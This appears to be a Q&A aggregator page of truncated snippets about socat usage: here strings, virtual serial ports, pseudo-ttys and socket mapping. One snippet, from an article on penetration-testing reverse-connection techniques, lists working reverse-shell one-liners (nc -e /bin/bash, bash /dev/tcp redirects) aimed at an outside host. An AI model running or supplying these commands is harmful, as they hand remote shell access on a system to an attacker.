Socat

What does <<< mean in bash (ie. in socat … <<<“string” >output-filename)

限于喜欢 提交于 2019-12-11 04:26:50
问题 I am trying to understand a codebase where I see a line like below: socat /tmp/haproxy - <<< "show servers state" > /var/state/haproxy/global What is socat doing here? What does <<< mean? 回答1: The socat command creates a bidirectional pipe between the file /tmp/haproxy and stdin which is expressed by passing - to socat . In fact it appends stdin to /tmp/haproxy and writes the resulting output to /var/state/haproxy/global <<< is a bash feature, a so called here string. It passes the string

Adobe Flash app to read from SOCAT instance on Raspberry Pi?

人盡茶涼 提交于 2019-12-11 04:16:06
问题 I am not clear where my trouble is stemming as I believe all things are set up properly, yet my Flash app STILL can not make a connection to 'SOCAT' to read the incomigng serial data from a connected Arduino. Project Summary: Adobe Flash app Written in ActionScript 2 (AS2.0) This does have a camera object in it, (but that seems to be working just fine, and is not a focal point here) RPi 3B Rev.2 LAMP installed (Apache, MySQL, PHP and MyPHPAdmin as well) Running a SOCAT instance upon boot,

How to determine which pair of pseudo tty ports are connected to each other

雨燕双飞 提交于 2019-12-11 03:43:18
问题 I have two python programs that are to communicate with each other over a point to point tty serial connection. To simulate the connection, I create a bi-directional byte stream using socat as here: socat -d -d pty,raw,echo=0 pty,raw,echo=0 The console returns the following, indicating the two pty ports that are now connected together: 2018/04/15 22:33:03 socat[18197] N PTY is /dev/pts/2 2018/04/15 22:33:03 socat[18197] N PTY is /dev/pts/3 2018/04/15 22:33:03 socat[18197] N starting data

virtual socat serial port and c# on ubuntu linux

倖福魔咒の 提交于 2019-12-10 17:52:02
问题 for testing purpose I'm trying to write a simple program that connect to a virtual serial port created with socat. I create the serial port with this command: socat -d -d PTY,b9600 PTY,link=ttyVS1,b9600 getting this output: 2011/11/08 18:26:31 socat[32708] N PTY is /dev/pts/1 2011/11/08 18:26:31 socat[32708] N PTY is /dev/pts/2 2011/11/08 18:26:31 socat[32708] N starting data transfer loop with FDs [3,3] and [5,5] When I try to connect in this way: System.IO.Ports.SerialPort _port; _port =

Issue passing valid command-line arguments for socat

南笙酒味 提交于 2019-12-09 01:29:27
Whereas this works as expected: root@LIM:~# socat -d -d pty pty 2017/10/15 01:01:49 socat[91] N PTY is /dev/pts/0 2017/10/15 01:01:49 socat[91] N PTY is /dev/pts/1 2017/10/15 01:01:49 socat[91] N starting data transfer loop with FDs [5,5] and [7,7] Including any argument at all causes socat to fail: root@LIM:~# socat -d -d pty,echo=0 pty 2017/10/15 01:04:56 socat[92] N PTY is /dev/pts/0 2017/10/15 01:04:56 socat[92] E tcsetattr(5, TCSADRAIN, 0x7fffdafe8be0): Invalid argument 2017/10/15 01:04:56 socat[92] N exit(1) I'm following this SO advice , this tutorial , and this blog and ultimately want

Issue passing valid command-line arguments for socat

丶灬走出姿态 提交于 2019-12-08 07:00:33
问题 Whereas this works as expected: root@LIM:~# socat -d -d pty pty 2017/10/15 01:01:49 socat[91] N PTY is /dev/pts/0 2017/10/15 01:01:49 socat[91] N PTY is /dev/pts/1 2017/10/15 01:01:49 socat[91] N starting data transfer loop with FDs [5,5] and [7,7] Including any argument at all causes socat to fail: root@LIM:~# socat -d -d pty,echo=0 pty 2017/10/15 01:04:56 socat[92] N PTY is /dev/pts/0 2017/10/15 01:04:56 socat[92] E tcsetattr(5, TCSADRAIN, 0x7fffdafe8be0): Invalid argument 2017/10/15 01:04

Linux下内网反弹技巧总结与杂谈

断了今生、忘了曾经 提交于 2019-12-07 14:13:28
导读 靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技巧就会派上用场。 通常,在做渗透的时候会“运气好”,碰到某些应用上存在远程命令执行漏洞,近来由于java反序列化和二进制类漏洞的层出不穷,也加持着这种漏洞越发增多。 一般来说,靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技巧就会派上用场。 反弹技巧总结: 1、NC反弹 Nc 1.1.1.1 8080 -e /bin/bash 2、Bash-socket反弹 /bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1 3、Shell-socket反弹 a) exec 2>&0;0<&196; exec 196<>/dev/tcp/1.1.1.1/8080; sh <&196 >&196 2>&196 b) exec 5<>/dev/tcp/1.1.1.1/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[分两句执行] 4、文件管道-nc/telnet反弹 a) rm /tmp/f

Https connection closed by peer in android 5.0 lollipop

我与影子孤独终老i 提交于 2019-12-06 14:17:59
问题 I am trying to implement an android application.Therefore, I've called a web-service HTTPS .However, I am not able to get the response data.It showing an error " connection closed by peer " Here is my code for HTTPS : public class MySSLSocketFactory extends SSLSocketFactory { SSLContext sslContext = SSLContext.getInstance("TLS"); public MySSLSocketFactory(KeyStore truststore) throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException, UnrecoverableKeyException { super

How can I map a local unix socket to an inet socket?

牧云@^-^@ 提交于 2019-12-06 10:20:07
问题 I'm curious if it is possible to map a UNIX socket on to an INET socket. The situation is simply that I'd like to connect to a MySQL server. Unfortunately it has INET sockets disabled and therefore I can only connect with UNIX sockets. The tools I'm using/writing have to connect on an INET socket, so I'm trying to see if I can map one on to the other. It took a fair amount of searching but I did find socat, which purportedly does what I'm looking for. I was wondering if anyone has any

Socat virtual serial port not recognized

孤街浪徒 提交于 2019-12-06 06:36:33
问题 I'm using socat to create a couple virtual serial ports. One I connect to with a simple C program (using termios), and the other I'd like to connect to using a program called Ardupilot Mega Planner (for RC stuff). However, the Planner does not recognize the virtual port (listed under /dev/pts), only the tty devices and /dev/serial devices. Do I need to do some sort of special mount for this to work? Or is there a workaround I could try? I tried "linking" an existing serial port (ttyS0, for